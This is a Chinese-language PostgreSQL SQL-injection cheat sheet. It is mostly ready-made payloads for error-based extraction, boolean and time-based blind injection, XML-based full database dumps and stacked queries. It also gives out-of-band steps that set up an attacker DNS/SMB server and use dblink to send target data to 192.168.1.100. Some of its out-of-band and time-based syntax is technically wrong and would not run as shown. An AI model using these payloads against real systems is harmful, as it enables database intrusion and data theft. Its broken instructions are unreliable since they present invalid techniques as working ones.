PostgreSQL 注入类型

报错注入

利用PostgreSQL数据库的强类型特性,通过构造特定的SQL语句,使数据库产生错误信息,并从错误信息中获取敏感数据。PostgreSQL报错注入的原理和MSSQL报错注入类似,都是使用cast()convert()等函数,将一个字符串强制转换为一个数值,从而触发类型不匹配的错误。例如,下面的语句就会产生一个错误:

select * from tbuser where id=1 and 7778=cast((select version())::text as numeric)

这个语句的作用是将数据库的版本信息(一个字符串)转换为一个数值,和7778进行比较。显然,这个转换是不合法的,所以数据库会返回一个错误信息,类似这样:

ERROR: invalid input syntax for type numeric: "PostgreSQL 13.3 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 10.2.0, 64-bit"

从这个错误信息中,我们就可以获取到数据库的版本信息。同理,我们可以利用这种方法,获取数据库的其他信息,如模式名称、表名、字段名、字段内容等。

,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)

' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1

PostgreSQL XML helpers

select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row

query_to_xml将指定查询的所有结果作为单个结果返回。将其与PostgreSQL报错注入链接起来以窃取数据,而不必担心LIMIT查询到一个结果

select database_to_xml(true,true,''); -- dump the current database to XML
select database_to_xmlschema(true,true,''); -- dump the current db to an XML schema

对于上述查询,输出需要在内存中组装。对于较大的数据库,这可能会导致速度减慢或拒绝服务情况。

盲注

PostgreSQL盲注的原理和SQL Server盲注类似,都是通过判断页面的返回结果或响应时间,来推断SQL语句是否成立。

布尔型盲注

通过判断页面的返回结果是否正确,来推断SQL语句是否成立

假设我们有一个页面,它根据用户输入的ID值,显示对应的用户信息。例如,如果我们输入id=1,页面就显示:

用户ID:1
用户名:admin
密码:123456

如果我们输入一个不存在的ID值,比如id=999,页面就显示:

用户ID:999
用户名:无
密码:无

我们可以用and (select count(*) from pg_catalog.pg_tables)>0来判断是否是PostgreSQL数据库,或者用and (select count(*) from public.users)>0来判断是否存在users表。

输入id=1 and (select count(*) from pg_catalog.pg_tables)>0,页面显示:

用户ID:1
用户名:admin
密码:123456

这说明我们的SQL语句成立,也就是说,数据库中存在pg_catalog.pg_tables这个表,从而证明了这是一个PostgreSQL数据库。

我们还可以用id=1 and length((select current_database()))=8来判断当前数据库名的长度是否是8,或者用id=1 and ascii(substr((select current_database()),1,1))=112来判断当前数据库名的第一个字母是否是p。

判断数据库版本是否是PostgreSQL:

' and substr(version(),1,10) = 'PostgreSQL' and '1  -> OK
' and substr(version(),1,10) = 'PostgreXXX' and '1  -> KO

时间型盲注

通过判断页面的响应时间,来推断SQL语句是否成立。例如,如果输入的ID值存在,页面就立即返回,否则就延时一段时间。我们可以利用这种差异,构造类似pg_sleep(5)的语句,来判断数据库的信息。

我们可以利用这种差异,构造类似pg_sleep(5)的语句,来判断数据库的信息。例如,我们可以用if (ascii(substr((select current_user),1,1)))=100 then pg_sleep(5) end if来判断当前用户的第一个字母是否是d,如果是就延时五秒。

输入id=1; if (ascii(substr((select current_user),1,1)))=100 then pg_sleep(5) end if,页面延时五秒后返回:

用户ID:1
用户名:admin
密码:123456

这说明我们的SQL语句成立,也就是说,当前用户的第一个字母是d。

通过这种方法,我们可以逐步猜解数据库的结构和内容,例如,我们可以用length()substr()函数,结合ASCII码,来猜解数据库名、表名、字段名和字段内容。例如,我们可以用id=1; if (length((select current_database()))=8) then pg_sleep(5) end if来判断当前数据库名的长度是否是8,或者用id=1; if (ascii(substr((select current_database()),1,1))=112) then pg_sleep(5) end if来判断当前数据库名的第一个字母是否是p。

  • 基于时间:
select 1 from pg_sleep(5)
;(select 1 from pg_sleep(5))
||(select 1 from pg_sleep(5))
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
  • 基于数据库转储时间:
select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1
  • 基于表转储时间:
select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1
  • 基于列转储时间:
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1

OOB盲注

通过利用PostgreSQL的一些扩展模块,如dblinkpostgres_fdwpg_copy等,来创建DNS查询或读取SMB共享域名,从而将数据传输到攻击者的服务器。这种盲注的条件比较苛刻,需要能够堆叠语句,且当前用户必须有足够的权限。

  • 首先,我们需要在我们的服务器上创建一个DNS服务器和一个SMB服务器,用于接收数据。我们可以使用dnschefimpacket等工具来实现。例如,我们可以在我们的服务器上运行以下命令:
dnschef --fakeip 192.168.1.100 --interface eth0
smbserver.py -smb2support share /tmp

这样,我们就在我们的服务器上创建了一个DNS服务器,用于解析任意域名为192.168.1.100,和一个SMB服务器,用于共享/tmp目录。

  • 然后,我们需要在目标数据库上创建一个外部服务器,用于连接我们的服务器。我们可以使用dblinkpostgres_fdw等模块来实现。例如,我们可以输入以下语句:
id=1; create extension dblink; select dblink_connect('myserver','host=192.168.1.100 port=445 user=guest password=guest dbname=share')

这样,我们就在目标数据库上创建了一个外部服务器,名为myserver,用于连接我们的服务器的SMB共享。

  • 最后,我们需要在目标数据库上创建一个外部表,用于读取或写入我们的服务器的文件。我们可以使用pg_copypostgres_fdw等模块来实现。例如,我们可以输入以下语句:
id=1; create extension pg_copy; create foreign table mytable (data text) server myserver options (filename 'data.txt', format 'text'); insert into mytable select current_user

这样,我们就在目标数据库上创建了一个外部表,名为mytable,用于读取或写入我们的服务器的data.txt文件。我们还向这个表中插入了当前用户的信息。我们可以在我们的服务器上查看这个文件的内容,例如:

cat /tmp/data.txt

我们就可以看到目标数据库的当前用户的信息,例如:

dbuser

通过这种方法,我们可以逐步获取数据库的结构和内容,例如,我们可以用length()substr()函数,结合ASCII码,来获取数据库名、表名、字段名和字段内容。例如,我们可以输入以下语句:

id=1; insert into mytable select current_database()

这样,我们就可以在我们的服务器上查看目标数据库的当前数据库名。

堆叠查询

http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--